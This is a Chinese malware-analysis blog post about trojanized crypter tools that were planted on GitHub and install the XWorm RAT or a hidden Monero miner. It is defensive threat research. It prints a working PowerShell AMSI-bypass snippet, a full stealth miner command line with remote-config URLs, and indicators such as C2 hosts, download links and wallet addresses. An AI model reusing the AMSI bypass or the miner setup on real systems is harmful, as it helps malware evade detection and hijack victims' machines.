安全分析与研究
专注于全球恶意软件的分析与研究
前言概述
原文首发出处:
先知社区 作者:熊猫正正
通过github投毒的攻击事件之前发生过不少,笔者此前也分析过好几例,有些网友也给笔者发过一些相关的攻击样本,大家从网上下载的各种安全工具或免杀工具一定不要随便在自己机器上运行,很有可能这些工具就自带后门木马,偷偷摸摸就给你安装了一个后门在你电脑上监控你。
近日笔者发现了一个免杀工具被修改,然后利用github上投毒,原版的免杀工具是开源的,如下所示:
攻击者在2024年5月7日,加入github项目,然后上传带有后门的工具,如下所示:
攻击者一共上传了三个相关的工具,如下所示:
最新上传的工具,如下所示:
笔者对这个github上的几个工具攻击样本进行了详细分析,供大家参考学习。
详细分析
Origami-Crypter-Packer-Bypassing-WD与FUD-Crypter-Windows-Defender样本分析
1.样本下载解压缩之后,包含两个文件,如下所示:
2.Origami.exe程序在入口点代码处添加了恶意代码,会从网上下载执行恶意脚本,如下所示:
3.Runtime.dll程序在入口点代码处添加了恶意代码,会从网上下载执行恶意脚本,如下所示:
4.上面两个程序连接远程URL链接tinyurl.com/win-nt下载的恶意脚本,如下所示:
5.恶意脚本会在%temp%上生成一个恶意模块文件DriverDiagnosis.dll,并设置系统隐藏属性,然后通过REGSVR32程序调用该恶意模块,如下所示:
6.恶意模块从远程服务器下载执行恶意脚本,如下所示:
7.从URL链接下载的恶意脚本,如下所示:
8.恶意脚本会先Patch AMSI AmsiScanBuffer函数,执行AMSI-Bypass操作,如下所示:
9.然后执行PayLoad代码,如下所示:
10.PayLoad代码解码之后是一个NET程序,编译时间为2024年5月15日,如下所示:
11.该NET程序代码被混淆处理了,虽然程序被混淆了,但看这个程序的代码结构,笔者大概率已经猜到是哪个家族的RAT了(疑似XWorm RAT),如下所示:
12.动态调试分析,果然是XWorm RAT远控木马,与之前笔者分享过的一篇文章中的Xwormmm基本一致,这次攻击者使用的版本是XWorm V5.2版本,此前笔者分析的是V5.6版本,如下所示:
13.该RAT的C2采用pastebin.com存储,如下所示:
14.通过pastebin.com链接获取到C2为localbeheaders.mcgo.io:4411,如下所示:
笔者此前文章链接:https://xz.aliyun.com/t/14473,到此这个工具就分析完毕了,攻击者利用这个工具给受害者安装Xworm RAT远控木马。
Scantime-Crypter-Updated---WD-Bypass样本分析
1.样本下载解压缩之后,包含两个文件,如下所示:
2.scantime crypter.exe程序是一个NET程序,编译时间为2024年5月9日,如下所示:
3.样本运行之后,如下所示:
4.攻击者在加密按钮事件中加入了恶意代码,当受害者单击Crypt it按钮的时候,会从远程服务器上下载恶意脚本,如下所示:
5.从URL链接hxxps://t.ly/B0L6y,这是一个短链接转化为长链接之后,下载的恶意脚本,如下所示:
6.下载的恶意脚本,会在临时目录下生成一个恶意模块OneDriveFileSync.dll,并设置为系统隐藏属性,如下所示:
7.设置为系统自启动项,通过自启动项加载恶意模块,如下所示:
8.恶意模块的编译时间为2024年5月9日,如下所示:
9.恶意模块从远程服务器下载执行恶意脚本,如下所示:
10.从URL链接hxxps://t.ly/mPrxP,这是一个短链接转化为长链接之后,下载的恶意脚本,如下所示:
11.恶意脚本先执行命令关闭amsi,如下所示:
执行的相关命令行为:
$eaofhewfoawe = "System.Type"
$ee = 'amsiInitFailed'
$eoiwfhefawoiefw = [String].Assembly.GetType('System.Reflection.BindingFlags')
$JABJAJBJABJJBJABJAJBJABJAB = $null
[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.BindingFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType($eaofhewfoawe)), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetField')).Invoke($ee,(('NonPublic,Static') -as $eoiwfhefawoiefw)).SetValue($JABJAJBJABJJBJABJAJBJABJAB,$True)
转化之后:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPubilc,Static').SetValue($null,$true)
12.恶意脚本再执行ShellCode代码,如下所示:
13.ShellCode代码,如下所示:
14.动态调试ShellCode代码,如下所示:
15.通过VirtualAlloc分配内存空间,如下所示:
16.将加密的数据拷贝到分配的内存空间,如下所示:
17.拷贝完成之后,如下所示:
18.解密出解密密钥,如下所示:
19.通过上面的密钥解密ShellCode数据,如下所示:
20.解密之后,如下所示:
21.解密出来的ShellCode代码执行过程,与此前笔者分析的那篇文章中的ShellCode代码执行过程基本一致,会执行Patch绕过Amsi和WLDP机制等操作,可以去参考笔者上面提到的那篇文章链接,最后在内存中加载解密出来的PayLoad模块,如下所示:
22.解密出来的PayLoad模块编译时间为2024年5月4日,入口点代码,如下所示:
23.PayLoad调用powercfg.exe程序,设置系统电源,如下所示:
24.然后启动svchost进程,然后将恶意代码注入到该进程当中,如下所示:
25.注入的恶意代码,使用UPX加壳,如下所示:
26.注入的恶意代码为一个挖矿程序,如下所示:
27.恶意PayLoad会释放挖矿的WinRing0驱动程序,如下所示:
28.该驱动的PDB信息,如下所示:
29.从远程服务器上获取挖矿程序的配置信息,如下所示:
该挖矿木马的,矿池地址:randomxmonero.auto.nicehash.com,钱包地址:36u5w8pHbiKPB18NAz8GEgjx9kXBUxs5YC.{RANDOM}
该挖矿木马执行命令行,相关参数内容,如下所示:
svchost.exe --algo=rx/0 --url=us.mining.prohashing.com:3359 --user="haddaame" --pass="x" --cpu-max-threads-hint=40 --cinit-winring="wujyovynvvlj.sys" --cinit-remote-config="http://webpanel.elementfx.com/remote/prohashingv1.json" --cinit-stealth-targets="Taskmgr.exe,ProcessHacker.exe,perfmon.exe,procexp.exe,procexp64.exe" --cinit-api="http://webpanel.elementfx.com/api/endpoint.php" --cinit-version="3.4.0" --cinit-id="fothtlmlfehptdpz
到此该工具也分析完成了,通过结合上面的分析,可以得出结论,攻击者利用github投毒修改后的免杀工具,在免杀工具的入口点代码中添加恶意代码,给受害者安装木马,此前给受害者安装挖矿木马,现在又开始给攻击者安装XWorm RAT远控木马。
威胁情报
总结结尾
黑客组织利用各种恶意软件进行的各种攻击活动已经无处不在,防不胜防,很多系统可能已经被感染了各种恶意软件,全球各地每天都在发生各种恶意软件攻击活动,黑客组织一直在持续更新自己的攻击样本以及攻击技术,不断有企业被攻击,这些黑客组织从来没有停止过攻击活动,而且非常活跃,新的恶意软件层出不穷,旧的恶意软件又不断更新,需要时刻警惕,可能一不小心就被安装了某个恶意软件。